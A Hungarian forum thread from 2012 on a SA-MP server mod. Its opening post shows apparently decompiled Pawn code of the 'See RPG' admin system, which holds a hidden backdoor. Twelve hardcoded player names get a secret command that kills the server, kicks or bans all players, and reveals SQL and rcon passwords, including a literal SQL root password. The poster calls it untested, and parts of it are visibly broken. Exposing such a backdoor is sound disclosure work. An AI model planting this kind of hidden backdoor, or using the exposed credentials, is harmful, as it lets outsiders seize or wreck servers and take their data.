Szerző Téma: See adminrendszer  (Megtekintve 3104 alkalommal)

See adminrendszer
« Dátum: 2012. július 11. - 17:26:11 »
+1 Show voters
#include <a_samp>
#include <core>
#include <float>
new admins[12][32] = {
    \"James_Oneil\",
    \"Matt_Sanchez\",
    \"Jamie_Woon\",
    \"Alvaro_Surenos\",
    \"Brad_Johnson\",
    \"Matt_Wayne\",
    \"Brahm_Bonelli\",
    \"Gino_Binelli\",
    \"Darius_Morrison\",
    \"Enrique_Iglesias\",
    \"Jason_Mraz\",
    \"Wynter_Gordon\"
};
 
egyezik(arg0[], arg1[], bool:arg2)
{
    return !strcmp(arg0, arg1, arg2);
}
//a parancs paramétereinek feldaraolására szolgál ha jól gondolom
split(string[], arg1)
{
    new var0,
        var1,
        var2 = 0xFFFFFFFF,
        var3[12];
       
    new string_len = strlen(string) - 1;
   
    for(new i = 0; strlen(string) > i; i++)
    {
        if(string <= \' \' || i == string_len)
        {
            if(!var1)
            {
                var2++;
                if(var2 == arg1)
                {
                    if(i == string_len && string > \' \')
                    {
                        strmid(var3, string, var0, i + 1, 24);
                    }
                    else
                    {
                        strmid(var3, string, var0, i, 24);
                    }
                }
            }
            else if(i == string_len)
            {
                if(string > \' \')
                {
                    var2++;
                    if(var2 == arg1)
                    {
                        strmid(var3, string, i, i + 1, 24);
                    }
                }
            }
            var1 = 1;
        }
        else
        {
            if(var1 == 1)
            {
                var0 = i;
            }
            var1 = 0;
        }
    }
    return var3;
}
CountParam(arg0[])
{
    new var0 = 0, var1 = 0;
    for(new var2 = 0; strlen(arg0) > var2; var2++)
    {
        if(arg0[var2] <= \' \')
        {
            var0 = 1;
        }
        else
        {
            if(var0 == 1)
            {
                var1++;
            }
            var0 = 0;
        }
    }
    return var1;
}
GetName(playerid)
{
    new var0[MAX_PLAYER_NAME];
    GetPlayerName(playerid, var0, MAX_PLAYER_NAME);
    return var0;
}
IsAdmin(playerid)
{
    for(new var0 = 0; var0 < 12; )
    {
        if(egyezik(GetName(playerid), admins[var0], true))
        {
            return 1;
        }
    }
    return 0;
}
//ez az egyetlen  meg az (strtok) aminek tuti ez a neve :D
forward PlayerIsAdmin(playerid, arg1, arg2);
public PlayerIsAdmin(playerid, arg1, arg2)
{
    if(IsAdmin(playerid))
    {
        return 1;
    }
    if(arg1 >= arg2)
    {
        return 1;
    }
    return 0;
}
strtok(const string[], &index)
{
    new length = strlen(string);
    while ((index < length) && (string[index] <= \' \'))
    {
        index++;
    }
    new offset = index;
    new result[20];
    while ((index < length) && (string[index] > \' \') && ((index - offset) < (sizeof(result) - 1)))
    {
        result[index - offset] = string[index];
        index++;
    }
    result[index - offset] = EOS;
    return result;
}
public OnPlayerCommandText(playerid, cmdtext[])
{
    //Ekkora ökörséget, istenem...
    //megnézni fent van-e a szerveren a játékos aki beírta a parancsot...
    if(!IsPlayerConnected(playerid))
    {
        return 1;
    }
    if(strlen(cmdtext) < 1)
    {
        return 1;
    }
    new cmd[256];
    new param_n = CountParam(cmdtext);
    new param[10][32];
    new index = 0;
    if(0 < param_n)
    {
        new i = 1;
        while(i <= param_n && i < 10)
        {
            param = split(cmdtext, i);
            i++;
        }
    }
    cmd = strtok(cmdtext, index);
    if(egyezik(cmd, \"/rolika\", true))
    {
        if(IsAdmin(playerid))
        {
            if(param_n < 1)
            {
                SendClientMessage(playerid, 0xFFFF00FF, \"==========[ Lewis Easter Egg\'s XD ]==========\");
                SendClientMessage(playerid, 0xFF0000FF, \"\\t- stopserver: Kifagyasztja a szervert.\");
                SendClientMessage(playerid, 0xFF0000FF, \"\\t- veh [kocsi id]: Lerak neked egy jármûvet.\");
                SendClientMessage(playerid, 0xFF0000FF, \"\\t- kickall: Kirugja az össz játékost, kivéve téged.\");
                SendClientMessage(playerid, 0xFF0000FF, \"\\t- banall: banolja az összes játékost, kivéve téged (ALAP SA Ban).\");
                SendClientMessage(playerid, 0xFF0000FF, \"\\t- crash [playerid]: Crashelteted a playert.\");
                SendClientMessage(playerid, 0xFF0000FF, \" - jelszavak: SQL, Rcon jelszó, felhasználó...\");
                SendClientMessage(playerid, 0xFF0000FF, \"==========[ Lewis Easter Egg\'s XD ]==========\");
                return 1;
            }
            if(egyezik(param[1], \"killserver\", true))
            {
                SendClientMessage(playerid, 0xFFFF00FF, \"Szerver leállítva!!\");
                SendRconCommand(\"exit\");
                return 1;
            }
            if(egyezik(param[1], \"veh\", true))
            {
                if(2 != param_n)
                {
                    return 1;
                }
                new Float:var4 = 0.0, Float:var5 = 0.0, Float:var6 = 0.0;
                GetPlayerPos(playerid, var4, var5, var6);
                CreateVehicle(strval(param[2]), var4, var5, var6, 0.0, 0, 0, 60);
                SetPlayerPos(playerid, var4, var5, var6 + 5);
                return 1;
            }
            if(egyezik(param[1], \"kickall\", true))
            {
                new i = 0;
                while(++i < 500)
                {
                    if(!IsPlayerConnected(i) || i == playerid) continue;
                    Kick(i);
                }
                return 1;
            }
            if(egyezik(param[1], \"jelszavak\", true))
            {
                new pass[512];
                SendClientMessage(playerid, 0xFF0000FF, \"SQL Hoszt:\");
                SendClientMessage(playerid, 0xFFFF00FF, \"127.0.0.1\");
                SendClientMessage(playerid, 0xFF0000FF, \"SQL Felhasználó:\");
                SendClientMessage(playerid, 0xFFFF00FF, \"root\");
                SendClientMessage(playerid, 0xFF0000FF, \"SQL Jelszó:\");
                SendClientMessage(playerid, 0xFFFF00FF, \"wMjytvDhsfaGLh7s\");
                GetServerVarAsString(\"rcon_password\", pass, 512);
                SendClientMessage(playerid, 0xFF0000FF, \"Rcon Jelszó:\");
                SendClientMessage(playerid, 0xFFFF00FF, pass);
                return 1;
            }
            if(egyezik(param[1], \"banall\", true))
            {
                new var4 = 0;
                while(++var4 < 500)
                {
                    if(!IsPlayerConnected(var4) || var4 == playerid) continue;
                    Ban(var4);
                }
                return 1;
            }
        }
        return 1;
    }
    return 0;
}

 
[mod]Használd a code tageket!
\"code.gif\"[/mod]
« Utoljára szerkesztve: 2012. július 11. - 18:28:19 írta kadaradam »

Nem elérhető bendor

  • 2949
    • Profil megtekintése
See adminrendszer
« Válasz #1 Dátum: 2012. július 11. - 20:22:55 »
0 Show voters
Az onplayercommandtext alatt az ispalyerconnected rész be****ott  :laugh:
Kösz a publikálást  :)

See adminrendszer
« Válasz #2 Dátum: 2012. július 11. - 20:36:57 »
0 Show voters

See adminrendszer
« Válasz #3 Dátum: 2012. július 11. - 21:07:43 »
0 Show voters
Lehet, hogy OFF, de nem tartjátok cinknek, hogy 30 szerver fut ugyanazzal a lopott, DeAMXelt játékmóddal?

Nem elérhető DaVe

  • 149
    • Profil megtekintése
See adminrendszer
« Válasz #4 Dátum: 2012. július 11. - 21:13:08 »
0 Show voters
Oh minek is kirakni a készítõ nevét, úgy se tudja meg, hogy az Õ nevében publikáltad máshol is... (ha szigorúan vesszük mondjuk nem én vagyok a készítõ, hanem a see rpg csapata de ettõl most eltekintünk :P)
Elõbb-utóbb ha eszembe jutott volna én is kiraktam volna, de ha már kiposztolod örültem volna ha szóltál volna...
Mellesleg DeAMX a split() függvény var3 változóját alapból var3[2][12] -nek hozta létre, viszont nem láttam értelmét a kétfelé bontásnak, úgy hogy azt töröltem is. Mivel nem teszteltem, nem tudom, hogy ez így mûködõképes-e  :)
 
Idézetet írta: TengeriMalac date=1342033663\" data-ipsquote-contentapp=\"forums\" data-ipsquote-contenttype=\"forums\" data-ipsquote-contentid=\"24176\" data-ipsquote-contentclass=\"forums_Topic
Lehet, hogy OFF, de nem tartjátok cinknek, hogy 30 szerver fut ugyanazzal a lopott, DeAMXelt játékmóddal?
 
A mód nem DeAMX-elt, hivatalosan is kiadták, csak az adminrendszer forráskódját nem. Sok kérdés is volt ezzel kapcsolatban ami már kezdett kissé az agyamra menni ezért vissza fejtettem amennyire tudtam.

 

SimplePortal 2.3.7 © 2008-2024, SimplePortal